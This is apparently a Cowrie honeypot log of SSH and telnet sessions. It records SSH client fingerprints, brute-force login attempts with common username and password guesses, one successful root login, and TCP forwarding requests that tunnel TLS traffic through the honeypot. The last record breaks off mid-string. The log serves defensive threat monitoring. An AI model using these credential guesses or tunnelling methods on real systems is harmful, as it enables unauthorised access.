{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:52.569506Z","src_ip":"172.187.200.190","session":"e74c669e7f8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"123456","message":"login attempt [oracle/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:52.744414Z","src_ip":"172.187.200.190","session":"e74c669e7f8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:53.831904Z","src_ip":"172.187.200.190","session":"e74c669e7f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":21817,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4e6c8ec033d","protocol":"ssh","message":"New connection: 213.209.159.159:21817 (159.203.135.109:22) [session: c4e6c8ec033d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:30:18.023021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:30:26.757982Z","src_ip":"213.209.159.159","session":"c4e6c8ec033d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:30:26.836576Z","src_ip":"213.209.159.159","session":"c4e6c8ec033d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaelyn","password":"shaelyn","message":"login attempt [shaelyn/shaelyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:30:27.239519Z","src_ip":"213.209.159.159","session":"c4e6c8ec033d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaelyn","password":"shaelyn1","message":"login attempt [shaelyn/shaelyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:30:28.324010Z","src_ip":"213.209.159.159","session":"c4e6c8ec033d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaelyn","password":"shaelyn123","message":"login attempt [shaelyn/shaelyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:30:29.408047Z","src_ip":"213.209.159.159","session":"c4e6c8ec033d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaelyn","password":"shaelyn1234","message":"login attempt [shaelyn/shaelyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:30:30.491887Z","src_ip":"213.209.159.159","session":"c4e6c8ec033d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaelyn","password":"shaelyn12345","message":"login attempt [shaelyn/shaelyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:30:31.577982Z","src_ip":"213.209.159.159","session":"c4e6c8ec033d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:30:32.662259Z","src_ip":"213.209.159.159","session":"c4e6c8ec033d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.150","src_port":41412,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b83613430d7","protocol":"ssh","message":"New connection: 216.180.246.150:41412 (10.17.0.5:22) [session: 1b83613430d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:31:57.028802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:31:57.033029Z","src_ip":"216.180.246.150","session":"1b83613430d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:31:57.045510Z","src_ip":"216.180.246.150","session":"1b83613430d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:31:57.060954Z","src_ip":"216.180.246.150","session":"1b83613430d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":51002,"dst_ip":"10.17.0.5","dst_port":22,"session":"974cdcc2751a","protocol":"ssh","message":"New connection: 80.94.95.118:51002 (10.17.0.5:22) [session: 974cdcc2751a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:09.270525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:09.274598Z","src_ip":"80.94.95.118","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:09.374032Z","src_ip":"80.94.95.118","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:09.864715Z","src_ip":"80.94.95.118","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.228.15.104","dst_port":443,"src_ip":"80.94.95.118","src_port":49920,"message":"direct-tcp connection request to 54.228.15.104:443 from 127.0.0.1:49920","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:17.878352Z","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.228.15.104","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.228.15.104:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:20.104126Z","src_ip":"80.94.95.118","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.228.15.104","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03T+.\\x02\\xb5\\x86\\x946_\\xa68\\x86j\\xc6/y&\\xf3AO\\x9e\\xde\\xec#\\x1b\\xea \\xe0\\xc8&VX \\x1aCJ4\\xfc\\t\\x108\\xc9\\xe3\\xc4W\\xbd\\xbe\\xbf\\xc0Y\\x9d|\\xddJ\\x97\\xa6\\x1e\\xffbv/\\xee\\x12_J\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 u\\xa9\\xcf+\\x11\\xb7\\x885\\x1f\\xac@\\xeev\\xc7\\x02N\\xbc\\x82\\xd2EF\\xc8\\x0f\\xa5\\xbd\\x0b\\x97\\xfb\\xea\\n\\x00\\x01\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 54.228.15.104:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03T+.\\x02\\xb5\\x86\\x946_\\xa68\\x86j\\xc6/y&\\xf3AO\\x9e\\xde\\xec#\\x1b\\xea \\xe0\\xc8&VX \\x1aCJ4\\xfc\\t\\x108\\xc9\\xe3\\xc4W\\xbd\\xbe\\xbf\\xc0Y\\x9d|\\xddJ\\x97\\xa6\\x1e\\xffbv/\\xee\\x12_J\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 u\\xa9\\xcf+\\x11\\xb7\\x885\\x1f\\xac@\\xeev\\xc7\\x02N\\xbc\\x82\\xd2EF\\xc8\\x0f\\xa5\\xbd\\x0b\\x97\\xfb\\xea\\n\\x00\\x01\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:20.107583Z","src_ip":"80.94.95.118","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"2.17.96.230","dst_port":443,"src_ip":"80.94.95.118","src_port":52752,"message":"direct-tcp connection request to 2.17.96.230:443 from 127.0.0.1:52752","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:28.384697Z","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.150","src_port":53036,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aadf18abbc4","protocol":"telnet","message":"New connection: 216.180.246.150:53036 (10.17.0.5:23) [session: 0aadf18abbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:29.276745Z"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"2.17.96.230","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 2.17.96.230:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:32:32.399373Z","src_ip":"80.94.95.118","session":"974cdcc2751a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"2.17.96.230","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0f\\x8c\\xe1=$\\x92\\xf5\\\\\\x82\\xb9m\\x18\\xe1\\xa1\\xa6\\xed\\x02=T\\x1f\\xd2\\xe3aq\\xa8%j\\xa3\\xb4}*0 \\xec\\xe3\\xee\\xd35\\x88\\x91\\xa1\\xc3G\\xc7\\xea\\xc5\\xf1\\xa8i\\r.\\x17\\xf1\\x01\\xeeP\\xd8\\xa8\\x8fu\\xc6\\x8d\\x0b\\xf1\\x10\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xdd;\\xac\\xc9Y\\xae7\\x04\\xb1\\x12\\xcb{A!\\xf6\\xdc\\xf5\\xf2\\x02C?'\\xc7\\x8f\\xc9\\x88\\x14\\xf5|M\\xa11\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 2.17.96.230:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0f\\x8c\\xe1=$\\x92\\xf5\\\\\\x82\\xb9m\\x18\\xe1\\xa1\\xa6\\xed\\x02=T\\x1f\\xd2\\xe3aq\\xa8%j\\xa3\\xb4}*0 